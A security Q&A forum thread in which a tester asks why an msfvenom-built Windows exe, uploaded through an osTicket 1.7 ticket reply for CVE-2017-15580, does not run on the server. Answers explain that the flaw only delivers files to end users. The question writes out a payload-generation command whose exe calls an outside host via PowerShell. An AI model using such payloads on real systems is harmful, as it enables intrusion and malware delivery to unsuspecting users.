2

I'm testing a target with osTicket 1.7 for CVE-2017-15580. Instead of getting a shell, I'm trying to get the target to make an HTTP request to a temporary end-point.

My temporary end-point is https://test.free.beeceptor.com and the command to be executed is powershell "IWR https://test.free.beeceptor.com". I've generated my payload as follows:

msfvenom -a x86 --platform windows -p 'windows/exec' CMD='powershell "IWR https://test.free.beeceptor.com"' -b "\x00" -e 'cmd/powershell_base64' -f exe -o IWR.exe

I then uploaded IWR.exe using an ticket reply. The CVE says that an HTML file is needed to bypass the client-side filter, but I was able to upload the .exe file as is without trouble.

IWR.exe included in reply

However, the file IWR.exe is just attached to be downloaded later in the posted reply. Going to https://target.com/file.php?key=MY_KEY&expires=1337&signature=SIG_GOES_HERE (the supposed location of IWR.exe) just prompts me to download the file without any sign of execution as there seems to be no log of a request made to https://beeceptor.com/console/test. I've also tried using the Print function but that just let me download a PDF of the ticket without executing IWR.exe.

What am I doing wrong? How do I get the target to execute my payload?

Improve this question

1 Answer 1

Reset to default
7

I don't think that you read the CVE or the PoC properly.

The PoC says that the reverse shell is to get a shell "of the end user". Not the server.

So, you are not doing anything wrong. You are just expecting something that is not meant to happen.

Improve this answer
2
  • In my test, I'm not trying to get a reverse shell at all. I'm just trying to get the server to run some code that makes a request to a temporary end-point.
    – ChocolateOverflow
    Commented Dec 31, 2020 at 12:48
  • 5
    Right. But the vulnerability is not about the server running anything... It's only about uploading an exe that gets delivered to someone else, and that someone else runs the payload (the "end user"). You are expecting the server to run the exe, but there is nothing in the PoC that says that happens or is even possible...
    – schroeder ♦
    Commented Dec 31, 2020 at 14:03

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .